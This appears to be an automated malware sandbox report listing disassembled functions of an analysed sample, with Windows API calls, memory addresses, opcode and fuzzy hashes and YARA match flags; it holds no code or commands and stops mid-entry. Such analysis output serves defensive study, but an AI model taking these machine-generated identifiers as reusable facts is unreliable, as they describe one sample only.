API String ID: 2112829910-0
Opcode ID: da9c2254c3d6feb7781c277c4017dde1248fb7d9dc01eb7e01956cc2f511bebb
Instruction ID: c073fabe6c199c26e3a0ace4ca3f7d44283233d76fff13b42722d94a971cc813
Opcode Fuzzy Hash: da9c2254c3d6feb7781c277c4017dde1248fb7d9dc01eb7e01956cc2f511bebb
Instruction Fuzzy Hash: 02D16DB5E002489FDF15CFA8D880AEDBBF4FF49314F2445AAE466EB351D630A942CB50

Function 0041968C Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(75DBD2FC,00000000,00000000,00000000), ref: 004196EF

Part of subcall function 00414F58: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,004151BB,?,00000000,-00000008), ref: 00414FB9

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00419941
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00419987
GetLastError.KERNEL32 ref: 00419A2A

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 7b6b5b0f837ac57406110df98857d0f42911bc00a2c7897a29ebb1bace7e2d44
Instruction ID: 80e927e20e1d5b3063f5f9ef1e9119d7a86b1541eeacf5ee68ba8f7951c90f01
Opcode Fuzzy Hash: 7b6b5b0f837ac57406110df98857d0f42911bc00a2c7897a29ebb1bace7e2d44
Instruction Fuzzy Hash: 8CD18DB5E002489FCF15CFA8C8909EEBBB5FF49314F28412AE456EB351D634AD86CB54

Function 04B61BA7 Relevance: 6.3, APIs: 4, Instructions: 293networkfileCOMMON

Download Yara Rule

APIs

InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 04B61C3C
InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 04B61C5F

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: FileInternet$PointerRead
String ID:
API String ID: 3197321146-0
Opcode ID: 1885a8dfee8479765fa90636c8dddbf3c0bf84813e2bd3c7ed7779aacb4cd4c8
Instruction ID: 69cfd244da9a608e69bd2cb16ad7009b851131181409179ddab56424a3b9cf99
Opcode Fuzzy Hash: 1885a8dfee8479765fa90636c8dddbf3c0bf84813e2bd3c7ed7779aacb4cd4c8
Instruction Fuzzy Hash: AFC13DB1A002189FEB25DF68CC84BE9B7B4FF49304F1041D9E50AA7290D779AE94CF91

Function 04D2AE64 Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 04D2AF2B
___AdjustPointer.LIBCMT ref: 04D2AF4E
___AdjustPointer.LIBCMT ref: 04D2AFEA

Memory Dump Source

Source File: 00000000.00000003.1813238641.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d20000_file.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction ID: f8f18f6cde6f1272f9161f2270a26511a2e4f21c927dbe3535abbdc21768e9fa
Opcode Fuzzy Hash: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction Fuzzy Hash: BC51C2B2705726EFEB2A9F10DA40B6AB7A4FF60718F14452EE84547390E735F881D7A0

Function 04B6BCCB Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 04B6BD92
___AdjustPointer.LIBCMT ref: 04B6BDB5
___AdjustPointer.LIBCMT ref: 04B6BE51

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction ID: 340d734db56ae85234b04bedce85f950010823db6834e3dc1dfd691e7d4d89b6
Opcode Fuzzy Hash: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction Fuzzy Hash: 6551D372609626AFEF298F14D840BBA77B4EF04314F1448ADD947CB290E739F990DB90

Function 10003EDA Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 10003FA1
___AdjustPointer.LIBCMT ref: 10003FC4
___AdjustPointer.LIBCMT ref: 10004060

Memory Dump Source

Source File: 00000000.00000002.2447840910.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2447811719.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2447971834.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2448059088.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 952e73679afc7ae5e9be77ebdc85447c9e7c58ce1189e5957c3f15572caf07ac
Instruction ID: 9e97f9b43940e94c385e873cf65d718b9a08959cb0185780d8acf6a52a646172
Opcode Fuzzy Hash: 952e73679afc7ae5e9be77ebdc85447c9e7c58ce1189e5957c3f15572caf07ac
Instruction Fuzzy Hash: 9D51BFB6A04202AFFB16CF11D941BAB77A8EF047D0F11856DEA05A72A9DB31EC40D794

Function 0040BA64 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0040BB2B
___AdjustPointer.LIBCMT ref: 0040BB4E
___AdjustPointer.LIBCMT ref: 0040BBEA

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction ID: c3f9129e04d39096db86ee3dbd798fa579d010b72ca6babdac1055268f0b1971
Opcode Fuzzy Hash: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction Fuzzy Hash: F651A972600306ABEB298F11C881BAA77B4EF40714F14413FE802A76D5E739AC91CBDD

Function 04B61837 Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 04B6183C

Part of subcall function 04B69AA9: std::invalid_argument::invalid_argument.LIBCONCRT ref: 04B69AB5

MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,00000000,?,?,0042D884,?,?,?,0042DAF4), ref: 04B61872
MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,?,0042D884,?,?,?,0042DAF4), ref: 04B618A9
Concurrency::cancel_current_task.LIBCPMT ref: 04B619BE

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$Concurrency::cancel_current_taskXinvalid_argumentstd::_std::invalid_argument::invalid_argument
String ID:
API String ID: 2123813255-0
Opcode ID: 76bb2ae1955411a23ec2113ce7c3df1698fa8cdaa81397e4e46f03e77a8728ac
Instruction ID: d6426903c15358d96033bd18b3cb80f0710a9c14b17eae6fd482e8f35be6797b
Opcode Fuzzy Hash: 76bb2ae1955411a23ec2113ce7c3df1698fa8cdaa81397e4e46f03e77a8728ac
Instruction Fuzzy Hash: 234109B1A00300ABE7149F689C84B5AB6F8EF48314F100AB9E95BD72C0E775BD05C7A1

Function 10007BCE Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 10008DC4: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,1000B163,?,00000000,00000000), ref: 10008E70

GetLastError.KERNEL32 ref: 10007C36
__dosmaperr.LIBCMT ref: 10007C3D
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 10007C7C
__dosmaperr.LIBCMT ref: 10007C83

Memory Dump Source

Source File: 00000000.00000002.2447840910.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2447811719.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2447971834.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2448059088.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: c5759a61a7976f34472f3230490c401b0bdcfc1ff84e849ca2e690b48099d67c
Instruction ID: 4d86bd2ae757562d8160192595c5732c56f34f1228d97d68919d00ee2a874974
Opcode Fuzzy Hash: c5759a61a7976f34472f3230490c401b0bdcfc1ff84e849ca2e690b48099d67c
Instruction Fuzzy Hash: 9021AC75A00216AFB720DF658C85D5BB7ADFF042E4B108529FA699724ADB35EC408BA0

Function 10008336 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2447840910.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2447811719.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2447971834.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2448059088.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fde20d58f3e1108cd5a86cb085c551b539ad6d33639cd9718ad33b154971d06
Instruction ID: d1df9cd49d1a9d965a935ddcfcfd3b9185eaf4079d6f623355f3cc1fa6217373
Opcode Fuzzy Hash: 7fde20d58f3e1108cd5a86cb085c551b539ad6d33639cd9718ad33b154971d06
Instruction Fuzzy Hash: C821D075A00206BFF710DF61CC8090B779CFF846E47108124FA949215AEB31EF0087A0

Function 04B7770B Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 04B751BF: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,04B75422,?,00000000,-00000008), ref: 04B75220

GetLastError.KERNEL32 ref: 04B7776F
__dosmaperr.LIBCMT ref: 04B77776
GetLastError.KERNEL32(?,?,?,?), ref: 04B777B0
__dosmaperr.LIBCMT ref: 04B777B7

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction ID: f9c6555ca395e816ce5eb2016eed6f05a6ec86466c019929ece6fd78cfc82b9d
Opcode Fuzzy Hash: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction Fuzzy Hash: 4C216571704205AFAB10AF75CCC4C6BB7ADFF4826871085A9E93A97250EB35FC518760

Function 004174A4 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00414F58: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,004151BB,?,00000000,-00000008), ref: 00414FB9

GetLastError.KERNEL32 ref: 00417508
__dosmaperr.LIBCMT ref: 0041750F
GetLastError.KERNEL32(?,?,?,?), ref: 00417549
__dosmaperr.LIBCMT ref: 00417550

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction ID: 408a06d1cf8366b2ae1f3811782f7cd1de2d149ac6df674c503089c6b33b154d
Opcode Fuzzy Hash: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction Fuzzy Hash: 2B21CD716042057FDB20AF66C880CAB7779EF44368710852AF91997751D739ED818768

Function 04B71442 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction ID: d8e0662e495cbf0cbe128227989cdcc52a6003312a18ed6af66c14456b27014d
Opcode Fuzzy Hash: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction Fuzzy Hash: 96216F71300205AFAB24AF7DCC8096B77ADEF442A870485A5E93A97350E734F9018BB0

Function 004111DB Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction ID: c7293b4e2709a45a538168f771ca0d14dcb5837bd486a4ca313c9b6cb4d0090e
Opcode Fuzzy Hash: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction Fuzzy Hash: DF21C971600219AFDB20AF659C40DEB776DAF44368B10456BFA29E7261D738DC8187A8

Function 04B735A0 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,04B736AF,04B637FE,?,00000000,04B62A70,04B62A72,?,04B73828,00000022,00420B0C,00422950,00422958,04B62A70), ref: 04B73661

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction ID: 572158fbaea3e9bfc879e17411d746dadbaa68648cda79434c784f8715c7c2a2
Opcode Fuzzy Hash: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction Fuzzy Hash: 2B21D576B05211ABC7319F25ECC0A5A3BA9DB42760F1511B0ED26A7391EB30FE06E694

Function 04B786AC Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 04B786B4

Part of subcall function 04B751BF: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,04B75422,?,00000000,-00000008), ref: 04B75220

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 04B786EC
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 04B7870C

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: f25717e6bd25f80c70edce058ac37b14eb42a5c51d25e47d03568e648881f521
Instruction ID: ca7c5e5a463636d8edb597a4d8a4d765bb59340f3423c9fdf4ee96ab6c69769e
Opcode Fuzzy Hash: f25717e6bd25f80c70edce058ac37b14eb42a5c51d25e47d03568e648881f521
Instruction Fuzzy Hash: FB1192B6A016197E77213B725CCCCBF7DADDE891D870104B4F926E6100FA60EE0291B6

Function 00418445 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0041844D

Part of subcall function 00414F58: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,004151BB,?,00000000,-00000008), ref: 00414FB9

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00418485
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 004184A5

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 42e04dca39cc9313a1bac36138922e873b2761e214a8738c343e5be4cc190242
Instruction ID: 9202fe00a5822ec58f1db5debff3a6e736622b39abe9cc99b2a2d556b75614f5
Opcode Fuzzy Hash: 42e04dca39cc9313a1bac36138922e873b2761e214a8738c343e5be4cc190242
Instruction Fuzzy Hash: A01104B65005167F6B212BB25D89CEF295CDF89398721402EF905A1201FE2CDE8241BE

Function 04D2AD84 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 04D2ADA0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 04D2ADB9

Memory Dump Source

Source File: 00000000.00000003.1813238641.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d20000_file.jbxd

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction ID: 8fa661b0c1fb9cd5164a62784c3c14b2ab5e64aef5e95f455203664731596e8f
Opcode Fuzzy Hash: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction Fuzzy Hash: A801D83230D7319EB7342BB87EC4A5B2B54FB2127D360023BE520A62E1FE95B80255E4

Function 04B7CE4F Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,04B7CAC6,00000000,00000001,?,00000000,?,04B79CE5,00000000,00000000,00000000), ref: 04B7CE66
GetLastError.KERNEL32(?,04B7CAC6,00000000,00000001,?,00000000,?,04B79CE5,00000000,00000000,00000000,00000000,00000000,?,04B7A288,?), ref: 04B7CE72

Part of subcall function 04B7CE38: CloseHandle.KERNEL32(0042CA30,04B7CE82,?,04B7CAC6,00000000,00000001,?,00000000,?,04B79CE5,00000000,00000000,00000000,00000000,00000000), ref: 04B7CE48

___initconout.LIBCMT ref: 04B7CE82

Part of subcall function 04B7CDFA: CreateFileW.KERNEL32(00428728,40000000,00000003,00000000,00000003,00000000,00000000,04B7CE29,04B7CAB3,00000000,?,04B79CE5,00000000,00000000,00000000,00000000), ref: 04B7CE0D

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,04B7CAC6,00000000,00000001,?,00000000,?,04B79CE5,00000000,00000000,00000000,00000000), ref: 04B7CE97

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction ID: c81a9a165e413af1b1b2110292bab425c105fecd6cb466205c5ff462374140f2
Opcode Fuzzy Hash: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction Fuzzy Hash: 7BF0303A500118BBCF325F95DC04ACD3F36FF086A1B408474FA2996130D732E821ABD5

Function 1000CD22 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001), ref: 1000CD39
GetLastError.KERNEL32(?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?,00000001,?,1000BFFB,10009A1A), ref: 1000CD45

Part of subcall function 1000CD0B: CloseHandle.KERNEL32(FFFFFFFE,1000CD55,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?,00000001), ref: 1000CD1B

___initconout.LIBCMT ref: 1000CD55

Part of subcall function 1000CCCD: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,1000CCFC,1000C7D5,00000001,?,1000BAAF,?,?,00000001,?), ref: 1000CCE0

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?), ref: 1000CD6A

Memory Dump Source

Source File: 00000000.00000002.2447840910.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2447811719.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2447971834.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2448059088.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 2cecfe65eba2e63a17b5684705d35a016e8c273fc96426fc022e5dbf763bb7f4
Instruction ID: e182fa176b596d651ba3484f1012657cf00b5fef4cb1dd311ab1bc31a0a6f155
Opcode Fuzzy Hash: 2cecfe65eba2e63a17b5684705d35a016e8c273fc96426fc022e5dbf763bb7f4
Instruction Fuzzy Hash: 53F030368002A9BBEF125F95CC48EC93FA6FB0D3E0F018025FA0885130DA32C9609B90

Function 0041CBE8 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000), ref: 0041CBFF
GetLastError.KERNEL32(?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000,00000000,00000000,?,0041A021,?), ref: 0041CC0B

Part of subcall function 0041CBD1: CloseHandle.KERNEL32(FFFFFFFE,0041CC1B,?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000,00000000,00000000), ref: 0041CBE1

___initconout.LIBCMT ref: 0041CC1B

Part of subcall function 0041CB93: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0041CBC2,0041C84C,00000000,?,00419A7E,00000000,00000000,00000000,00000000), ref: 0041CBA6

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000,00000000), ref: 0041CC30

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction ID: b2f8e5e77f4d676ad0e685e0439cc39e0844638a97b8ad054d7e4805cd8d945f
Opcode Fuzzy Hash: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction Fuzzy Hash: D6F01C36580118BBCF221F95ED45ADA3F26FF497A0B404031FA0D96121D6328C619BD8

Function 00409D0D Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00409CAA,00000064), ref: 00409D30
LeaveCriticalSection.KERNEL32(0042D064,00401044,?,00409CAA,00000064,?,?,?,00401044,0042DA8C), ref: 00409D3A
WaitForSingleObjectEx.KERNEL32(00401044,00000000,?,00409CAA,00000064,?,?,?,00401044,0042DA8C), ref: 00409D4B
EnterCriticalSection.KERNEL32(0042D064,?,00409CAA,00000064,?,?,?,00401044,0042DA8C), ref: 00409D52

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 203c7f3a807ec8057ea0aa5072313220b9e23051332dfe18f360eb7747514d6b
Instruction ID: ed1c7c09b24d5124ebc712e1e7f2573f2e40a4f9289d25860d0ee5ca28a3c269
Opcode Fuzzy Hash: 203c7f3a807ec8057ea0aa5072313220b9e23051332dfe18f360eb7747514d6b
Instruction Fuzzy Hash: 8FE0ED31A85628FBCB111B50FC09AD97F24AF09759F508032F90976171C7795D039BDD

Function 00410EDD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00410F6D

Strings

pow, xrefs: 00410F45, 00410F62

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 31403c08627a7049c2df153d0248aecbd7cedb7773a1804d7f4783afb4547b5b
Instruction ID: 1dd945e64f0d07477a36e3934c2b0d008af5dc79b4df0e8c4bba017ec81d751d
Opcode Fuzzy Hash: 31403c08627a7049c2df153d0248aecbd7cedb7773a1804d7f4783afb4547b5b
Instruction Fuzzy Hash: 65512B75A0820296CB217714DA023EB6BA49B40750F618D6FF095463E9EBBCCCD7DA4E

Function 00409590 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 183COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 004096CE
std::_Xinvalid_argument.LIBCPMT ref: 004096E5

Strings

vector too long, xrefs: 004096E0

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Concurrency::cancel_current_taskXinvalid_argumentstd::_
String ID: vector too long
API String ID: 3646673767-2873823879
Opcode ID: 76399865d75423f55fc174df7396f940014b7bb3f785ca2fba6546e7ea2eb098
Instruction ID: f4da2a5e80598445161bac14147e50f437b92e93805fe79093e1120e4695fd56
Opcode Fuzzy Hash: 76399865d75423f55fc174df7396f940014b7bb3f785ca2fba6546e7ea2eb098
Instruction Fuzzy Hash: 5A5125B2E002159BCB14DF69C84066EB7A5EF80314F10067FE805FB382EB75AD408BD5

Function 04B6BA27 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 04B6BA66
__IsNonwritableInCurrentImage.LIBCMT ref: 04B6BB1A

Strings

csm, xrefs: 04B6BB04

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

